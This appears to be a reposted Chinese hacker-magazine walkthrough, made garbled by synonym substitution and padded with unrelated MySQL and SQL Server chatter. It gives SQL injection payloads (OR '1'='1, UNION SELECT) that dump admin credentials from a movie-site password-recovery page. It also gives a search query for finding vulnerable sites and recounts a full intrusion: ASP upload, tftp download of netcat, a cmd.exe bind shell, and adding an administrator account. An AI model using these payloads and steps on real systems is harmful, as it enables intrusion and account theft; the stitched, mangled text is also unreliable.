MYSQL网页编程之SQL注进奇招致胜 UNION查询轻松收费看电...
最近由权威调查机构Evans数据公司进行的一项调查显示,MySQL在过去两年已经获得了25%的市场份额。该调查公司还预测,相比其他的开源数据库和闭源数据库。此文宣布在2004年黑客X档案第4期周末无聊,同砚想让我帮他下载一些影戏看,我爽利的允许了。看了这么多期X档案,程度天然上进很多,也没事玩玩"鸡"。此次想收费下载些影戏,没成绩(我晓得N多影戏程序有毛病)。闲话少说,切进正题。
我翻开Google,任意搜刮了一下影戏网站,点开了一个。看了一下界面,晓得和金梅影戏体系联系关系很年夜。金梅体系和"洞"网(7.0平安多啦,本人想的)差未几,也是有N多毛病,好比注进啊,COOKIE棍骗甚么的。我就在X档案03年11期看过一篇文章,写的是用ASC和MID函数对体系办理员帐户举行推测。我也想用这类办法推测,猜了半天都没猜对,真烦人,同砚还在何处等我哪,这不是很丢人。我决意找个复杂的举措,仍是读读源码吧!
下载了一个金梅三影戏体系,看了一下,这么多个文件,头即刻年夜了。仍是在本人电脑上运转一下吧。注册了一个用户,点了一下找回暗码,他人说这里有毛病。看了一下,象是有毛病的界面,有三个参数,还间接把暗码显现出来。好,看一下源码。
39<%ifrequest("myuserid")=""then%>
...
58<%else
setrs=server.createobject("adodb.recordset")
sql="selectpasswordfromuserswhereuserid="&request("myuserid")&"andcity="&request("ask")&"andadress="&request("answer")&""
rs.opensql,conn,1,1
ifrs.eofandrs.bofthen%>
这里公然没过滤。很多多少人都想到了能够用下面的办法注进了。能不克不及有更复杂的办法呢?
我细心思索语句的情势以下:
selectpasswordfromuserswhereuserid=‘‘andcity=‘‘andadress=‘
假如用户名,暗码提醒成绩(city),暗码提醒谜底(adress)和表users一行婚配,便打印这行的password,并且是明文的。我想的历程就不写了,厥后我想到了一种办法,就是使用union查询。Access功效是很弱的,不克不及实行命令,不克不及导出文本,还不克不及正文。有个子查询能够使用以外,也就剩下这个union了。
怎样使用呢?先在本机做实行。测试历程大略,间接写有所劳绩的了局。
如果晓得了一个该网站的一个用户名(好比abc),能够如许使用。
在"你注册成绩"处填:abcor‘1=1(假如用户名是bcd,就变成bcdor‘1=1)
暗码提醒成绩处任意填几个字母或数字,最好别有标记,简单影响了局:好比字母a
暗码提醒谜底处任意填几个字母或数字,填个a
回车后就看到该用户的暗码了,复杂吧(如图一)。
实在如许一来,下面的语句就变成:
selectpasswordfromuserswhereuserid=‘abcor‘1=1‘andcity=‘a‘andadress=a‘
呵呵,程序无前提的实行了,由于被or‘1=1跳事后面的考证了。
但是网站用户名也不是容易失掉的啊。别急,失掉用户名一样复杂。以下:
在"你注册成绩"处任意处填几个字母或数字,最好别有标记,简单影响了局:好比字母a
暗码提醒成绩处和下面一样,任意填:我也填个a
关头是在暗码提醒谜底:我填的是aunionselectuseridfromuserswhereoklook>=3or0
下面就是要找黄金用户的帐户名(如图二),看到用户名后再用后面的办法找到暗码。
能够在where前面加良多参数并赋分歧的值能够失掉良多帐户。
按下面的填进后输出语句就酿成了:
selectpasswordfromuserswhereuserid=‘a‘andcity=‘a‘andadress=aunionselectuseridfromuserswhereoklook>=3or0‘
仔细的读者看到这大概已想到如何失掉办理员的帐号和暗码,不错,也很复杂。我也不写历程了,间接写出语句以下:
失掉帐号:
selectpasswordfromuserswhereuserid=‘a‘andcity=‘a‘andadress=aunionselectnamefromokwiantgowhereid>=1or0‘
失掉暗码:
selectpasswordfromuserswhereuserid=‘a‘andcity=‘a‘andadress=aunionselectpwdfromokwiantgowhereid>=1or0‘
然后上岸就好了,路径格局为:
http://网站影戏路径/findaccout.asp?name=办理员帐号&pwd=办理员暗码
回车,很轻松就进办理界面了。(如图三)
偶然findaccount.asp大概被更名了,这时候只能拿个黄金帐户了。
这个毛病有良多影戏程序有,有的程序表名不是okwiantgo(程序会呈报64行属性不合错误),改成admin或password.,把下面的输出略微修正一下行了。如许一来不论是多庞大的暗码,大概是中文暗码都没成绩。再猜办理员帐户的时分也要多,where前面的前提多变更才行,不然大概得不到超等办理员。
这个毛病利用很复杂,伤害极年夜,容易能够失掉办理员帐户。假如体系设置不妥,在upload/uploadmovie.asp同意上传ASP文件,体系就很简单换仆人了。我已经乐成浸透过如许一个网站,复杂历程叙说以下。
上传一个ASP程序,发明该体系运转SQLSERVER,经由过程读源文件看到了sa的暗码,用sqlexec毗连,tftp上传nc.exe。再次dir发明nc被删了,有防火强。用tftp上传nc.jpg一定十拿九稳,tftp-i我的IPgetnc.exenc.jpg,上传乐成。在sqlexec运转
nc.jpg-l-p99-ecwinntsystem32cmd.exe
nc想必都很熟习了吧,下面就是再方针呆板上开一个99端口监听,同时把cmd.exe重定向到这里,当地毗连nc.exe-vv方针IP99,失掉shell,并且是办理员权限。
输出netuserabc123456/add&&netlocalgroupadministratorsabc/add
增加用户乐成特地到场办理员,&&意义是后面乐成前面实行。该体系开着3389,省了我很多多少事变。
好了回到正题,这个毛病存在80%以上影戏程序中,在google里搜刮user/wantpws.asp,翻开后发明能够输出三个参数,且把暗码间接显现的都有此毛病。
修补办法,应当对三个参数举行严厉考证,并且把了局发送的到邮箱里更稳妥,有的网站是如许做的。
总结:我写此问的目标是想说很多多少成绩要多想多试,一个毛病使用办法不但一种,我们要本人学会发明。进侵历程天真多样,我们应动头脑。人人收费看影戏的同时可别弄损坏啊,任何成果与我有关。同时我也但愿看到这篇文章后,网站尽快变动。
采用DBaaS解决方案,他们也可以使用同大企业一样的技术。在大型组织中,DBaaS可以提供部门级解决MySQL学习教程,而无需IT部门和采购部门的介入,提供更快和更容易的方法来实现小型解决方案。 而写到本地,我又考虑到效率问题.大家来讨论讨论吧,分数不打紧,就给10分,十全十美,没啥对错,各抒己见,但是要有说服力的哦~ 个人感觉没有case直观。而且默认的第三字段(还可能更多)作为groupby字段很容易造成新手的错误。 这一点很好的加强了profiler的功能。但是提到profiler提醒大家注意一点。windows2003要安装sp1补丁才能启动profiler。否则点击没有反应。 始终遗憾SQLServer的登陆无法分配CPU/内存占用等指标数。如果你的SQLServer给别人分配了一个只可以读几个表的权限,而这个家伙疯狂的死循环进行连接查询,会给你的系统带来很大的负担。 呵呵,这就是偶想说的 需要注意的一点,也是我使用过程中发现的一个问题。在建立function->schema->table后,如果在现有的分区表上建立没有显式声明的聚集索引时,分区表会自动变为非分区表。这一点很让我纳闷。 但换公司用MSSQL2K感觉自己好像根本就不了解MSSQL。什么DTS触发器以前根本没用过。
页:
[1]